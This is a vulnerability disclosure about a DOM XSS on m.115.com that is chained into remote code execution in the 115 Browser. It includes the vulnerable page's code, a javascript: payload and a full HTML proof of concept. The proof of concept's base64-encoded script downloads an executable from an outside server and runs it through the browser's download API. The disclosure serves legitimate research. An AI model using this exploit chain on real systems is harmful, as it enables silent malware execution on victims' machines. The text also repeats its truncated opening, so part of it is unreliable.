[+] Author: evi1m0#sec.ly.com [+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com [+] Create: 2015-12-26 #### DownProxy XSS view-source: http://m.115.com/down_proxy.html ```javascript function localParam(search, hash) { search = search || window.location.search; hash = hash || window.location.hash; var fn = function (str, reg) { if (str) { var data = {}; str.replace(reg, function ($0, $1, $2, $3) { data[ $1 ] = $3; }); return data; } } return {search: fn(search, new RegExp("([^?=&]+)(=([^&]*))?", "g")) || {}, hash: fn(hash, new RegExp("([^#=&]+)(=([^&]*))?", "g")) || {}}; } var isAndroid = navigator.userAgent.match(/android/ig), isIos = navigator.userAgent.match(/iphone|ipod/ig), isIpad = navigator.userAgent.match(/ipad/ig), isWeixin = (/MicroMessenger/ig).test(navigator.userAgent), params = localParam(), docid = params.search['docid'], isappinstalled = params.search['isappinstalled'] || params.search['appinstall'], openurl = (params.search['openurl'] ?...
[+] Author: evi1m0#sec.ly.com [+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com [+] Create: 2015-12-26 #### DownProxy XSS view-source: http://m.115.com/down_proxy.html ```javascript function localParam(search, hash) { search = search || window.location.search; hash = hash || window.location.hash; var fn = function (str, reg) { if (str) { var data = {}; str.replace(reg, function ($0, $1, $2, $3) { data[ $1 ] = $3; }); return data; } } return {search: fn(search, new RegExp("([^?=&]+)(=([^&]*))?", "g")) || {}, hash: fn(hash, new RegExp("([^#=&]+)(=([^&]*))?", "g")) || {}}; } var isAndroid = navigator.userAgent.match(/android/ig), isIos = navigator.userAgent.match(/iphone|ipod/ig), isIpad = navigator.userAgent.match(/ipad/ig), isWeixin = (/MicroMessenger/ig).test(navigator.userAgent), params = localParam(), docid = params.search['docid'], isappinstalled = params.search['isappinstalled'] || params.search['appinstall'], openurl = (params.search['openurl'] ? params.search['openurl'] : false), gotourl = (params.search['goto'] ? decodeURIComponent(params.search['goto']) : false), gotokey = (params.search['key'] ? params.search['key'] : false), gotovalue = (params.search['val'] ? decodeURIComponent(params.search['val']) : false), gotodep = (params.search['tid'] ? decodeURIComponent(params.search['tid']) : false), iframe = document.getElementById('ifr'), iframe2 = document.getElementById('ifr2'), showurl = params.search['showurl']; openurl = openurl || 'oof.disk://'; if(gotokey){ openurl = 'oof.disk://' + gotokey; if(gotovalue){ openurl += "/" + gotovalue; } if(gotodep){ openurl += "/" + gotodep; } } window.onload = function () { if (!isWeixin) { if(isAndroid){ if(showurl){ window.location.href = decodeURIComponent(showurl); return; } } iframe.src = openurl; setTimeout(function () { if(gotourl){ window.location.href = gotourl; } else{ if ((isIos || isIpad) && !isAndroid) { window.location.href = "https://itunes.apple.com/us/app/115wang-pan/id647500047?mt=8"; window.setTimeout(function(){window.location.href = 'http://a.app.qq.com/o/simple.jsp?pkgname=com.ylmf.androidclient';}, 1000); } else if (isAndroid) { ``` 其中 iframe.src -> openurl -> params.search 环节出现问题,导致可使用伪协议嵌入 iframe 造成 XSS 漏洞: 1. params = localParam(), 2. openurl = (params.search['openurl'] ? params.search['openurl'] : false), 3. openurl = openurl \|\| 'oof.disk://'; 4. iframe.src = openurl; Payload: `http://m.115.com/down_proxy.html?openurl=javascript:alert(document.domain)` #### FINDAPI ``` for(i in downloadInterface){console.log(i)} VM227:2 getLiXianIngUrls VM227:2 getLiXianUnFinishedUrls VM227:2 deleteLiXianUnFinishedUrl VM227:2 switchToOfflineWin VM227:2 createBTTaskForWeb VM227:2 beginDownload VM227:2 cancelOfflineDownload VM227:2 createOfflineDown VM227:2 getOfflineErrorInfo VM227:2 deleteOfflineErrorInfo VM227:2 GetTaskList VM227:2 ContinueDownload VM227:2 PauseDownload VM227:2 RemoveDownload VM227:2 RunDownloadItem VM227:2 OpenFolderItem VM227:2 StartAllDownloads VM227:2 PauseAllDownloads VM227:2 ClearHasFinished VM227:2 ShowDefaultFolder VM227:2 EnableShutdown VM227:2 GetDownloadErrorList VM227:2 ShowNewDownloadTaskWindow VM227:2 OpenURL ``` 测试可知使用 OpenURL(URL) 传入二进制文件网址时则会自动下载文件到浏览器设置的下载文件夹内,随后使用 RunDownloadItem 打开,通过查看 RunDownloadItem 的原型可以知道: ```javascript function(id) { native function NativeRunDownloadItem(); return NativeRunDownloadItem(id);} ``` 需要传入任务 ID 才能够运行下载的项目,所以这里我们使用 ClearHasFinished() 移除掉已经下载文件的记录然后遍历小范围的数字传参即可。 #### POC ```javascript <!DOCTYPE HTML> <html> <head> <title>115 Browser version 7.2.5.15 RCE</title> <meta charset="utf8" /> </head> <body> <h1>115 Browser 7.* RCE Vulnerability</h1> <pre> Test... Email: evi1m0.bat[at]gmail.com Work : Windows 7 64-bit WebKit : 537.36 Version: 7.2.5.15 Datetime: 2016-12-19 </pre> <img style="margin-top: 10px;" width=490 src="https://ws1.sinaimg.cn/large/c334041bgw1fax1c9wjb0j21c810gwl2.jpg"/> // w=window.parent.downloadInterface;w.ClearHasFinished();w.OpenURL('http://server.n0tr00t.com/calc.exe');window.parent.setTimeout(function(){for(var i=0;i<300;i++){w.RunDownloadItem(i);}},5000); <iframe src="http://m.115.com/down_proxy.html?openurl=javascript:eval(window.parent.location.hash.substr(1))#eval(atob('dz13aW5kb3cucGFyZW50LmRvd25sb2FkSW50ZXJmYWNlO3cuQ2xlYXJIYXNGaW5pc2hlZCgpO3cuT3BlblVSTCgnaHR0cDovL3NlcnZlci5uMHRyMDB0LmNvbS9jYWxjLmV4ZScpO3dpbmRvdy5wYXJlbnQuc2V0VGltZW91dChmdW5jdGlvbigpe2Zvcih2YXIgaT0wO2k8MzAwO2krKyl7dy5SdW5Eb3dubG9hZEl0ZW0oaSk7fX0sNTAwMCk7'))" style="display:none"></iframe> </body> </html> ```  #### Discloure Timeline - 2016/12/19 Report vuln detail to 115. - 2016/12/24 M.115.com xss fix. - 2016/12/25 The DownloadAPI update is expected to be released after the new year. - 2016/12/26 Public, via @evi1m0.